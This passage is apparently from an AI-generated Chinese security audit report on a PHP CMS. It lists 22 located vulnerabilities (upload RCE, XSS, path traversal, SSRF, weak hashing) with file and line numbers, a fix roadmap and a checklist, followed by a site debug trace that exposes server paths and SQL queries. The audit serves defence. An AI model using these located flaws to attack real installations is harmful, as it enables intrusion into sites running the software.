无匹配
N/A
pcntl_exec()
无匹配
N/A
eval()
无匹配
N/A
assert()
无匹配
N/A
create_function()
无匹配
N/A
preg_replace /e
无匹配
N/A
反引号
无匹配
N/A

间接代码执行

通过VUL-001(API文件上传)可实现RCE,是本项目中实现代码执行的最可行路径。


9. 漏洞汇总表

编号
严重程度
漏洞名称
类型
文件
需要认证
VUL-001
严重
API任意文件上传RCE
文件上传+代码注入
api/plugin.php:204,732
API Token(只读)
VUL-002
严重
SVG文件上传存储型XSS/XXE
文件上传+XSS
upload-images.php
后台登录
VUL-003
高危
标签名绕过编码存储型XSS
存储型XSS
pages.class.php:62
author+
VUL-004
高危
Dashboard搜索DOM XSS
DOM XSS
dashboard.php:97
author+
VUL-005
高危
Select2父页面选择器DOM XSS
DOM XSS
edit-content.php:235
author+
VUL-006
高危
欢迎消息昵称单引号XSS
存储型XSS
dashboard.php:26
任何角色
VUL-007
高危
分类名属性注入XSS
存储型XSS
dblist.class.php:84
admin
VUL-008
高危
AJAX端点缺少角色检查
垂直越权
admin.php:43
任何角色
VUL-009
高危
delete-image路径遍历
任意文件删除
delete-image.php
任何角色
VUL-010
中危
密码存储使用SHA1
弱加密
users.class.php:158
VUL-011
中危
安装脚本弱随机数
弱认证
install.php
VUL-012
中危
SSRF通过Remote Content插件
SSRF
remote-content/plugin.php
admin
VUL-013
中危
CSRF保护不完整
CSRF绕过
99.security.php
VUL-014
中危
about插件html_entity_decode XSS
存储型XSS
about/plugin.php:41
admin
VUL-015
中危
links插件getValue(false) XSS
存储型XSS
links/plugin.php:140
admin
VUL-016
中危
API CORS宽松配置
配置错误
api/plugin.php:297
API Token
VUL-017
中危
new-category反射型XSS
反射型XSS
new-category.php:22
admin
VUL-018
中危
new-user反射型XSS
反射型XSS
new-user.php:22
admin
VUL-019
低危
DEBUG_MODE硬编码TRUE
信息泄露
init.php:10
VUL-020
低危
Session指纹仅基于UA
弱会话
login.class.php
VUL-021
低危
插件Metadata XSS
供应链攻击
plugins.php:54
VUL-022
低危
Disqus插件单引号注入
存储型XSS
disqus/plugin.php:88
admin

10. 修复优先级路线图

P0 — 紧急修复(1-3天内)

  1. VUL-001: API uploadFile() 添加 $writePermissions 检查 + 文件扩展名白名单 + 文件名过滤
  2. VUL-002: 从允许的图片扩展名中移除 svg,或对SVG上传实施内容清理
  3. VUL-009delete-image.php 添加路径遍历检查

P1 — 高优先修复(1-2周内)

  1. VUL-003generateTags() 中对标签名做 Sanitize::html() 编码
  2. VUL-006Sanitize::html() 从 ENT_COMPAT 改为 ENT_QUOTES
  3. VUL-008: 所有AJAX端点添加角色检查
  4. VUL-004/005: Dashboard搜索和Select2使用 .text() 代替HTML拼接
  5. VUL-007: 分类存储增加 htmlspecialchars() 编码
  6. 所有Bootstrap表单方法formInputText()/formTextarea() 中value参数添加转义

P2 — 中期修复(1个月内)

  1. VUL-010: 密码哈希从SHA1升级为 password_hash(PASSWORD_BCRYPT)
  2. VUL-011: 安装脚本使用 random_bytes() 生成Token
  3. VUL-012: TCP类添加URL验证和内网IP过滤
  4. VUL-013: 插件/主题安装改为POST请求
  5. VUL-014/015: 消除插件中 html_entity_decode() 和 getValue(false) 的不安全使用
  6. VUL-016: 限制API CORS配置

P3 — 安全加固(持续改进)

  1. VUL-019: 生产环境关闭 DEBUG_MODE
  2. VUL-020: Session指纹增加IP绑定
  3. VUL-021: 插件Metadata输出添加HTML转义
  4. 架构升级: 从"输入净化"迁移到"输出编码"模式
  5. 添加安全响应头Content-Security-PolicyX-Frame-OptionsX-Content-Type-Options
  6. Token比较: 全部使用 hash_equals() 替代 ==
  7. 随机数: 全部使用 random_int() / random_bytes() 替代 rand() / mt_rand()

11. 审计检查清单

  • 项目结构和技术栈分析完成
  • SQL注入检查完成(不适用:无SQL数据库)
  • 命令注入/代码执行检查完成
  • XSS(反射/存储/DOM)检查完成
  • 文件上传漏洞检查完成
  • SSRF检查完成
  • XXE检查完成(通过SVG上传)
  • 反序列化漏洞检查完成(不适用:无unserialize)
  • 文件包含(LFI/RFI)检查完成
  • 身份认证缺陷检查完成
  • 越权(水平/垂直/IDOR)检查完成
  • 逻辑漏洞检查完成
  • 敏感数据泄露检查完成
  • 安全配置错误检查完成
  • 已知漏洞组件检查完成
  • 日志与监控检查完成
  • 每个漏洞数据流追踪完成
  • 每个漏洞PoC数据包生成完成
  • 完整审计报告生成完成

本报告由AI安全审计工具自动生成,审计日期:2026-06-25

👇关注【大白哥AI与安全】公众号, 获取AI安全前沿技术与工具分享👇

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-07-02 20:40:38 HTTP/2.0 GET : https://f.mffb.com.cn/a/502061.html
  2. 运行时间 : 0.376770s [ 吞吐率:2.65req/s ] 内存消耗:4,803.91kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=d3fbc106fec1468442ab97f3e86e7628
  1. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  19. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  50. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  61. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  69. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  77. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  79. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  88. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  99. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  106. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  108. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  117. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  118. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000907s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.001182s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000585s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000515s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000998s ]
  6. SELECT * FROM `set` [ RunTime:0.000486s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.001192s ]
  8. SELECT * FROM `article` WHERE `id` = 502061 LIMIT 1 [ RunTime:0.018081s ]
  9. UPDATE `article` SET `lasttime` = 1782996038 WHERE `id` = 502061 [ RunTime:0.008117s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 64 LIMIT 1 [ RunTime:0.000735s ]
  11. SELECT * FROM `article` WHERE `id` < 502061 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000993s ]
  12. SELECT * FROM `article` WHERE `id` > 502061 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.000872s ]
  13. SELECT * FROM `article` WHERE `id` < 502061 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.020405s ]
  14. SELECT * FROM `article` WHERE `id` < 502061 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.051424s ]
  15. SELECT * FROM `article` WHERE `id` < 502061 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.190260s ]
0.379511s